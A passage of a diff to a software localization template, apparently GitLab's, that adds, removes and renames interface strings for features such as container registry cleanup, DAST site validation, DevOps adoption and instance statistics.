msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
